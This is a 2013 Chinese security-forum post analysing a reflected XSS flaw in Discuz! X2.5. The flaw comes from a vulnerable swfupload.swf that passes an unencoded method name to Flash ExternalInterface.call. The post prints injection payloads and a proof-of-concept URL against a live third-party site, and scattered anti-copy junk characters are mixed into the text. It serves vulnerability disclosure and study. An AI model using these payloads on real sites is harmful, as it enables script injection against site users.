找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1862|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
上回我们说. e, `2 t. G, R+ b4 D  O8 D4 r

3 H% n" q/ T" \+ x7 m6 W8 bflash.external.ExternalInterface.call($methodName, $parameter)
, f2 A6 v2 F9 B- c在浏览器中执行的是
( L4 d0 H% I+ \+ X+ N- f3 E; e
0 _2 T) N1 p. E: htry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}" d6 A( V% S9 W1 g: f+ {: C* [8 h% @
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
$ R. `4 X3 U9 Y) H" }- C  v$ g& {3 Y4 F. O# Q) z  N
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
0 e( z& ]/ |8 }6 U$methodName = a())}catch(e){alert(/xss/)}//9 ~# Z- X7 w% ?/ H+ I: C( Y/ g6 m
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
, {2 r' d% V! I1 @; S; S8 h" [
; S( b" m  `3 j5 _8 u( R" ctry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }- {6 c1 v0 W  U
! }' \* C: V, ^5 M; C8 v
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )5 N! l4 a2 P% b. f+ ~* d" q: x
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。: Z( w  r, l+ v; K# }, n  f( N( A
/ d( N/ m- G0 ^. g- q) W; s! s

/ G/ N4 e0 t& U1 s! X3 c. n( ^( E/ J/ z6 S5 Z1 S! Z/ m
漏洞文件:upload\static\image\common\swfupload.swf6 n! B* q! S8 t5 _8 d( ]& |
+ ?5 g1 d( Z& B3 j  z
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
8 D2 J5 ]& ?, s. J- [5 A$ ^7 g! W' P
8 p8 ]4 w  V: o
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//2 F3 u5 ^* k5 U" J5 c1 Y- o3 p

4 o. f( J: u* D2 r3 E9 ]/ S( m! m% O8 V( h9 Z/ o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表